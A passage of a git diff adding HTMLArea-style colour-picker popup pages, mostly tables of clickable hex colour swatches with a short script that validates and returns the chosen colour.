+</td>
+<td onmouseover="View('6666FF')" onclick="Set('6666FF')" bgcolor="#6666ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('6699FF')" onclick="Set('6699FF')" bgcolor="#6699ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66CCFF')" onclick="Set('66CCFF')" bgcolor="#66ccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('66FFFF')" onclick="Set('66FFFF')" bgcolor="#66ffff" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('949CCE')" onclick="Set('949CCE')" style="width: 10px; height: 10px; background-color: rgb(148, 156, 206);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('990000')" onclick="Set('990000')" bgcolor="#990000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('993300')" onclick="Set('993300')" bgcolor="#993300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('996600')" onclick="Set('996600')" bgcolor="#996600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('999900')" onclick="Set('999900')" bgcolor="#999900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CC00')" onclick="Set('99CC00')" bgcolor="#99cc00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FF00')" onclick="Set('99FF00')" bgcolor="#99ff00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC0000')" onclick="Set('CC0000')" bgcolor="#cc0000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC3300')" onclick="Set('CC3300')" bgcolor="#cc3300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC6600')" onclick="Set('CC6600')" bgcolor="#cc6600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC9900')" onclick="Set('CC9900')" bgcolor="#cc9900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCC00')" onclick="Set('CCCC00')" bgcolor="#cccc00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFF00')" onclick="Set('CCFF00')" bgcolor="#ccff00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF0000')" onclick="Set('FF0000')" bgcolor="#ff0000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF3300')" onclick="Set('FF3300')" bgcolor="#ff3300" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF6600')" onclick="Set('FF6600')" bgcolor="#ff6600" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF9900')" onclick="Set('FF9900')" bgcolor="#ff9900" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCC00')" onclick="Set('FFCC00')" bgcolor="#ffcc00" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFF00')" onclick="Set('FFFF00')" bgcolor="#ffff00" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9C96BA')" onclick="Set('9C96BA')" style="width: 10px; height: 10px; background-color: rgb(156, 150, 186);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('990033')" onclick="Set('990033')" bgcolor="#990033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('993333')" onclick="Set('993333')" bgcolor="#993333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('996633')" onclick="Set('996633')" bgcolor="#996633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('999933')" onclick="Set('999933')" bgcolor="#999933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CC33')" onclick="Set('99CC33')" bgcolor="#99cc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FF33')" onclick="Set('99FF33')" bgcolor="#99ff33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC0033')" onclick="Set('CC0033')" bgcolor="#cc0033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC3333')" onclick="Set('CC3333')" bgcolor="#cc3333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC6633')" onclick="Set('CC6633')" bgcolor="#cc6633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC9933')" onclick="Set('CC9933')" bgcolor="#cc9933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCC33')" onclick="Set('CCCC33')" bgcolor="#cccc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFF33')" onclick="Set('CCFF33')" bgcolor="#ccff33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF0033')" onclick="Set('FF0033')" bgcolor="#ff0033" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF3333')" onclick="Set('FF3333')" bgcolor="#ff3333" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF6633')" onclick="Set('FF6633')" bgcolor="#ff6633" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF9933')" onclick="Set('FF9933')" bgcolor="#ff9933" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCC33')" onclick="Set('FFCC33')" bgcolor="#ffcc33" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFF33')" onclick="Set('FFFF33')" bgcolor="#ffff33" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('088C94')" onclick="Set('088C94')" style="width: 10px; height: 10px; background-color: rgb(8, 140, 148);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('990066')" onclick="Set('990066')" bgcolor="#990066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('993366')" onclick="Set('993366')" bgcolor="#993366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('996666')" onclick="Set('996666')" bgcolor="#996666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('999966')" onclick="Set('999966')" bgcolor="#999966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CC66')" onclick="Set('99CC66')" bgcolor="#99cc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FF66')" onclick="Set('99FF66')" bgcolor="#99ff66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC0066')" onclick="Set('CC0066')" bgcolor="#cc0066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC3366')" onclick="Set('CC3366')" bgcolor="#cc3366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC6666')" onclick="Set('CC6666')" bgcolor="#cc6666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC9966')" onclick="Set('CC9966')" bgcolor="#cc9966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCC66')" onclick="Set('CCCC66')" bgcolor="#cccc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFF66')" onclick="Set('CCFF66')" bgcolor="#ccff66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF0066')" onclick="Set('FF0066')" bgcolor="#ff0066" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF3366')" onclick="Set('FF3366')" bgcolor="#ff3366" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF6666')" onclick="Set('FF6666')" bgcolor="#ff6666" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF9966')" onclick="Set('FF9966')" bgcolor="#ff9966" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCC66')" onclick="Set('FFCC66')" bgcolor="#ffcc66" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFF66')" onclick="Set('FFFF66')" bgcolor="#ffff66" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('637EB5')" onclick="Set('637EB5')" style="width: 10px; height: 10px; background-color: rgb(99, 126, 181);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('990099')" onclick="Set('990099')" bgcolor="#990099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('993399')" onclick="Set('993399')" bgcolor="#993399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('996699')" onclick="Set('996699')" bgcolor="#996699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('999999')" onclick="Set('999999')" bgcolor="#999999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CC99')" onclick="Set('99CC99')" bgcolor="#99cc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FF99')" onclick="Set('99FF99')" bgcolor="#99ff99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC0099')" onclick="Set('CC0099')" bgcolor="#cc0099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC3399')" onclick="Set('CC3399')" bgcolor="#cc3399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC6699')" onclick="Set('CC6699')" bgcolor="#cc6699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC9999')" onclick="Set('CC9999')" bgcolor="#cc9999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCC99')" onclick="Set('CCCC99')" bgcolor="#cccc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFF99')" onclick="Set('CCFF99')" bgcolor="#ccff99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF0099')" onclick="Set('FF0099')" bgcolor="#ff0099" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF3399')" onclick="Set('FF3399')" bgcolor="#ff3399" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF6699')" onclick="Set('FF6699')" bgcolor="#ff6699" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF9999')" onclick="Set('FF9999')" bgcolor="#ff9999" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCC99')" onclick="Set('FFCC99')" bgcolor="#ffcc99" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFF99')" onclick="Set('FFFF99')" bgcolor="#ffff99" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('7B52A5')" onclick="Set('7B52A5')" style="width: 10px; height: 10px; background-color: rgb(123, 82, 165);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9900CC')" onclick="Set('9900CC')" bgcolor="#9900cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9933CC')" onclick="Set('9933CC')" bgcolor="#9933cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9966CC')" onclick="Set('9966CC')" bgcolor="#9966cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9999CC')" onclick="Set('9999CC')" bgcolor="#9999cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CCCC')" onclick="Set('99CCCC')" bgcolor="#99cccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FFCC')" onclick="Set('99FFCC')" bgcolor="#99ffcc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC00CC')" onclick="Set('CC00CC')" bgcolor="#cc00cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC33CC')" onclick="Set('CC33CC')" bgcolor="#cc33cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC66CC')" onclick="Set('CC66CC')" bgcolor="#cc66cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC99CC')" onclick="Set('CC99CC')" bgcolor="#cc99cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCCCC')" onclick="Set('CCCCCC')" bgcolor="#cccccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFFCC')" onclick="Set('CCFFCC')" bgcolor="#ccffcc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF00CC')" onclick="Set('FF00CC')" bgcolor="#ff00cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF33CC')" onclick="Set('FF33CC')" bgcolor="#ff33cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF66CC')" onclick="Set('FF66CC')" bgcolor="#ff66cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF99CC')" onclick="Set('FF99CC')" bgcolor="#ff99cc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCCCC')" onclick="Set('FFCCCC')" bgcolor="#ffcccc" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFFCC')" onclick="Set('FFFFCC')" bgcolor="#ffffcc" height="10" width="10"><br>
+</td>
+</tr>
+<tr>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('5069A2')" onclick="Set('5069A2')" style="width: 10px; height: 10px; background-color: rgb(80, 105, 162);"><br>
+</td>
+<td onmouseover="View('000000')" onclick="Set('000000')" bgcolor="#000000" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9900FF')" onclick="Set('9900FF')" bgcolor="#9900ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9933FF')" onclick="Set('9933FF')" bgcolor="#9933ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9966FF')" onclick="Set('9966FF')" bgcolor="#9966ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('9999FF')" onclick="Set('9999FF')" bgcolor="#9999ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99CCFF')" onclick="Set('99CCFF')" bgcolor="#99ccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('99FFFF')" onclick="Set('99FFFF')" bgcolor="#99ffff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC00FF')" onclick="Set('CC00FF')" bgcolor="#cc00ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC33FF')" onclick="Set('CC33FF')" bgcolor="#cc33ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC66FF')" onclick="Set('CC66FF')" bgcolor="#cc66ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CC99FF')" onclick="Set('CC99FF')" bgcolor="#cc99ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCCCFF')" onclick="Set('CCCCFF')" bgcolor="#ccccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('CCFFFF')" onclick="Set('CCFFFF')" bgcolor="#ccffff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF00FF')" onclick="Set('FF00FF')" bgcolor="#ff00ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF33FF')" onclick="Set('FF33FF')" bgcolor="#ff33ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF66FF')" onclick="Set('FF66FF')" bgcolor="#ff66ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FF99FF')" onclick="Set('FF99FF')" bgcolor="#ff99ff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFCCFF')" onclick="Set('FFCCFF')" bgcolor="#ffccff" height="10" width="10"><br>
+</td>
+<td onmouseover="View('FFFFFF')" onclick="Set('FFFFFF')" bgcolor="#ffffff" height="10" width="10"><br>
+</td>
+</tr>
+</tbody></table>
+
+</body></html>
diff --git a/admin/htmlarea/popups/select_color.html.save b/admin/htmlarea/popups/select_color.html.save
new file mode 100755 (executable)
index 0000000..8279487
--- /dev/null
@@ -0,0 +1,347 @@
+<!-- note: this version of the color picker is optimized for IE 5.5+ only -->
+
+<html><head><title>Select Color</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+window.resizeTo(240, 182);
+function _CloseOnEsc() {
+  if (event.keyCode == 27) { window.close(); return; }
+}
+
+function Init() {                                                       // run on page load
+  __dlg_init();    // <!-- this can be found in popup.js -->
+  document.body.onkeypress = _CloseOnEsc;
+
+  var color = window.dialogArguments;
+  color = ValidateColor(color) || '000000';
+  View(color);                                                          // set default color
+}
+
+function View(color) {                  // preview color
+  document.getElementById("ColorPreview").style.backgroundColor = '#' + color;
+  document.getElementById("ColorHex").value = '#' + color;
+}
+
+function Set(string) {                   // select color
+  var color = ValidateColor(string);
+  if (color == null) { alert("Invalid color code: " + string); }        // invalid color
+  else {                                                                // valid color
+    View(color);                          // show selected color
+    __dlg_close(color);
+  }
+}
+
+function ValidateColor(string) {                // return valid color code
+  string = string || '';
+  string = string + "";
+  string = string.toUpperCase();
+  var chars = '0123456789ABCDEF';
+  var out   = '';
+
+  for (var i=0; i<string.length; i++) {             // remove invalid color chars
+    var schar = string.charAt(i);
+    if (chars.indexOf(schar) != -1) { out += schar; }
+  }
+
+  if (out.length != 6) { return null; }            // check length
+  return out;
+}
+
+</script>
+</head>
+<body style="background:ButtonFace; margin:0px; padding:0px" onload="Init()">
+
+<form method="get" style="margin:0px; padding:0px" onSubmit="Set(document.getElementById('ColorHex').value); return false;">
+<table border="1px" cellspacing="0px" cellpadding="4" width="100%">
+ <tr>
+  <td style="background:buttonface" valign=center><div style="background-color: #000000; padding: 1; height: 21px; width: 50px"><div id="ColorPreview" style="height: 100%; width: 100%"></div></div></td>
+  <td style="background:buttonface" valign=center><input type="text" name="ColorHex"
+    id="ColorHex" value="" size=15 style="font-size: 12px"></td>
+  <td style="background:buttonface" width=100%></td>
+ </tr>
+</table>
+</form>
+
+<table border="0" cellspacing="1px" cellpadding="0px" width="100%" bgcolor="#000000" style="cursor: hand;">
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#003300 onMouseOver=View('003300') onClick=Set('003300') height="10px" width="10px"></td>
+<td bgcolor=#006600 onMouseOver=View('006600') onClick=Set('006600') height="10px" width="10px"></td>
+<td bgcolor=#009900 onMouseOver=View('009900') onClick=Set('009900') height="10px" width="10px"></td>
+<td bgcolor=#00CC00 onMouseOver=View('00CC00') onClick=Set('00CC00') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#330000 onMouseOver=View('330000') onClick=Set('330000') height="10px" width="10px"></td>
+<td bgcolor=#333300 onMouseOver=View('333300') onClick=Set('333300') height="10px" width="10px"></td>
+<td bgcolor=#336600 onMouseOver=View('336600') onClick=Set('336600') height="10px" width="10px"></td>
+<td bgcolor=#339900 onMouseOver=View('339900') onClick=Set('339900') height="10px" width="10px"></td>
+<td bgcolor=#33CC00 onMouseOver=View('33CC00') onClick=Set('33CC00') height="10px" width="10px"></td>
+<td bgcolor=#33FF00 onMouseOver=View('33FF00') onClick=Set('33FF00') height="10px" width="10px"></td>
+<td bgcolor=#660000 onMouseOver=View('660000') onClick=Set('660000') height="10px" width="10px"></td>
+<td bgcolor=#663300 onMouseOver=View('663300') onClick=Set('663300') height="10px" width="10px"></td>
+<td bgcolor=#666600 onMouseOver=View('666600') onClick=Set('666600') height="10px" width="10px"></td>
+<td bgcolor=#669900 onMouseOver=View('669900') onClick=Set('669900') height="10px" width="10px"></td>
+<td bgcolor=#66CC00 onMouseOver=View('66CC00') onClick=Set('66CC00') height="10px" width="10px"></td>
+<td bgcolor=#66FF00 onMouseOver=View('66FF00') onClick=Set('66FF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000033 onMouseOver=View('000033') onClick=Set('000033') height="10px" width="10px"></td>
+<td bgcolor=#003333 onMouseOver=View('003333') onClick=Set('003333') height="10px" width="10px"></td>
+<td bgcolor=#006633 onMouseOver=View('006633') onClick=Set('006633') height="10px" width="10px"></td>
+<td bgcolor=#009933 onMouseOver=View('009933') onClick=Set('009933') height="10px" width="10px"></td>
+<td bgcolor=#00CC33 onMouseOver=View('00CC33') onClick=Set('00CC33') height="10px" width="10px"></td>
+<td bgcolor=#00FF33 onMouseOver=View('00FF33') onClick=Set('00FF33') height="10px" width="10px"></td>
+<td bgcolor=#330033 onMouseOver=View('330033') onClick=Set('330033') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#336633 onMouseOver=View('336633') onClick=Set('336633') height="10px" width="10px"></td>
+<td bgcolor=#339933 onMouseOver=View('339933') onClick=Set('339933') height="10px" width="10px"></td>
+<td bgcolor=#33CC33 onMouseOver=View('33CC33') onClick=Set('33CC33') height="10px" width="10px"></td>
+<td bgcolor=#33FF33 onMouseOver=View('33FF33') onClick=Set('33FF33') height="10px" width="10px"></td>
+<td bgcolor=#660033 onMouseOver=View('660033') onClick=Set('660033') height="10px" width="10px"></td>
+<td bgcolor=#663333 onMouseOver=View('663333') onClick=Set('663333') height="10px" width="10px"></td>
+<td bgcolor=#666633 onMouseOver=View('666633') onClick=Set('666633') height="10px" width="10px"></td>
+<td bgcolor=#669933 onMouseOver=View('669933') onClick=Set('669933') height="10px" width="10px"></td>
+<td bgcolor=#66CC33 onMouseOver=View('66CC33') onClick=Set('66CC33') height="10px" width="10px"></td>
+<td bgcolor=#66FF33 onMouseOver=View('66FF33') onClick=Set('66FF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000066 onMouseOver=View('000066') onClick=Set('000066') height="10px" width="10px"></td>
+<td bgcolor=#003366 onMouseOver=View('003366') onClick=Set('003366') height="10px" width="10px"></td>
+<td bgcolor=#006666 onMouseOver=View('006666') onClick=Set('006666') height="10px" width="10px"></td>
+<td bgcolor=#009966 onMouseOver=View('009966') onClick=Set('009966') height="10px" width="10px"></td>
+<td bgcolor=#00CC66 onMouseOver=View('00CC66') onClick=Set('00CC66') height="10px" width="10px"></td>
+<td bgcolor=#00FF66 onMouseOver=View('00FF66') onClick=Set('00FF66') height="10px" width="10px"></td>
+<td bgcolor=#330066 onMouseOver=View('330066') onClick=Set('330066') height="10px" width="10px"></td>
+<td bgcolor=#333366 onMouseOver=View('333366') onClick=Set('333366') height="10px" width="10px"></td>
+<td bgcolor=#336666 onMouseOver=View('336666') onClick=Set('336666') height="10px" width="10px"></td>
+<td bgcolor=#339966 onMouseOver=View('339966') onClick=Set('339966') height="10px" width="10px"></td>
+<td bgcolor=#33CC66 onMouseOver=View('33CC66') onClick=Set('33CC66') height="10px" width="10px"></td>
+<td bgcolor=#33FF66 onMouseOver=View('33FF66') onClick=Set('33FF66') height="10px" width="10px"></td>
+<td bgcolor=#660066 onMouseOver=View('660066') onClick=Set('660066') height="10px" width="10px"></td>
+<td bgcolor=#663366 onMouseOver=View('663366') onClick=Set('663366') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#669966 onMouseOver=View('669966') onClick=Set('669966') height="10px" width="10px"></td>
+<td bgcolor=#66CC66 onMouseOver=View('66CC66') onClick=Set('66CC66') height="10px" width="10px"></td>
+<td bgcolor=#66FF66 onMouseOver=View('66FF66') onClick=Set('66FF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000099 onMouseOver=View('000099') onClick=Set('000099') height="10px" width="10px"></td>
+<td bgcolor=#003399 onMouseOver=View('003399') onClick=Set('003399') height="10px" width="10px"></td>
+<td bgcolor=#006699 onMouseOver=View('006699') onClick=Set('006699') height="10px" width="10px"></td>
+<td bgcolor=#009999 onMouseOver=View('009999') onClick=Set('009999') height="10px" width="10px"></td>
+<td bgcolor=#00CC99 onMouseOver=View('00CC99') onClick=Set('00CC99') height="10px" width="10px"></td>
+<td bgcolor=#00FF99 onMouseOver=View('00FF99') onClick=Set('00FF99') height="10px" width="10px"></td>
+<td bgcolor=#330099 onMouseOver=View('330099') onClick=Set('330099') height="10px" width="10px"></td>
+<td bgcolor=#333399 onMouseOver=View('333399') onClick=Set('333399') height="10px" width="10px"></td>
+<td bgcolor=#336699 onMouseOver=View('336699') onClick=Set('336699') height="10px" width="10px"></td>
+<td bgcolor=#339999 onMouseOver=View('339999') onClick=Set('339999') height="10px" width="10px"></td>
+<td bgcolor=#33CC99 onMouseOver=View('33CC99') onClick=Set('33CC99') height="10px" width="10px"></td>
+<td bgcolor=#33FF99 onMouseOver=View('33FF99') onClick=Set('33FF99') height="10px" width="10px"></td>
+<td bgcolor=#660099 onMouseOver=View('660099') onClick=Set('660099') height="10px" width="10px"></td>
+<td bgcolor=#663399 onMouseOver=View('663399') onClick=Set('663399') height="10px" width="10px"></td>
+<td bgcolor=#666699 onMouseOver=View('666699') onClick=Set('666699') height="10px" width="10px"></td>
+<td bgcolor=#669999 onMouseOver=View('669999') onClick=Set('669999') height="10px" width="10px"></td>
+<td bgcolor=#66CC99 onMouseOver=View('66CC99') onClick=Set('66CC99') height="10px" width="10px"></td>
+<td bgcolor=#66FF99 onMouseOver=View('66FF99') onClick=Set('66FF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000CC onMouseOver=View('0000CC') onClick=Set('0000CC') height="10px" width="10px"></td>
+<td bgcolor=#0033CC onMouseOver=View('0033CC') onClick=Set('0033CC') height="10px" width="10px"></td>
+<td bgcolor=#0066CC onMouseOver=View('0066CC') onClick=Set('0066CC') height="10px" width="10px"></td>
+<td bgcolor=#0099CC onMouseOver=View('0099CC') onClick=Set('0099CC') height="10px" width="10px"></td>
+<td bgcolor=#00CCCC onMouseOver=View('00CCCC') onClick=Set('00CCCC') height="10px" width="10px"></td>
+<td bgcolor=#00FFCC onMouseOver=View('00FFCC') onClick=Set('00FFCC') height="10px" width="10px"></td>
+<td bgcolor=#3300CC onMouseOver=View('3300CC') onClick=Set('3300CC') height="10px" width="10px"></td>
+<td bgcolor=#3333CC onMouseOver=View('3333CC') onClick=Set('3333CC') height="10px" width="10px"></td>
+<td bgcolor=#3366CC onMouseOver=View('3366CC') onClick=Set('3366CC') height="10px" width="10px"></td>
+<td bgcolor=#3399CC onMouseOver=View('3399CC') onClick=Set('3399CC') height="10px" width="10px"></td>
+<td bgcolor=#33CCCC onMouseOver=View('33CCCC') onClick=Set('33CCCC') height="10px" width="10px"></td>
+<td bgcolor=#33FFCC onMouseOver=View('33FFCC') onClick=Set('33FFCC') height="10px" width="10px"></td>
+<td bgcolor=#6600CC onMouseOver=View('6600CC') onClick=Set('6600CC') height="10px" width="10px"></td>
+<td bgcolor=#6633CC onMouseOver=View('6633CC') onClick=Set('6633CC') height="10px" width="10px"></td>
+<td bgcolor=#6666CC onMouseOver=View('6666CC') onClick=Set('6666CC') height="10px" width="10px"></td>
+<td bgcolor=#6699CC onMouseOver=View('6699CC') onClick=Set('6699CC') height="10px" width="10px"></td>
+<td bgcolor=#66CCCC onMouseOver=View('66CCCC') onClick=Set('66CCCC') height="10px" width="10px"></td>
+<td bgcolor=#66FFCC onMouseOver=View('66FFCC') onClick=Set('66FFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#0033FF onMouseOver=View('0033FF') onClick=Set('0033FF') height="10px" width="10px"></td>
+<td bgcolor=#0066FF onMouseOver=View('0066FF') onClick=Set('0066FF') height="10px" width="10px"></td>
+<td bgcolor=#0099FF onMouseOver=View('0099FF') onClick=Set('0099FF') height="10px" width="10px"></td>
+<td bgcolor=#00CCFF onMouseOver=View('00CCFF') onClick=Set('00CCFF') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#3300FF onMouseOver=View('3300FF') onClick=Set('3300FF') height="10px" width="10px"></td>
+<td bgcolor=#3333FF onMouseOver=View('3333FF') onClick=Set('3333FF') height="10px" width="10px"></td>
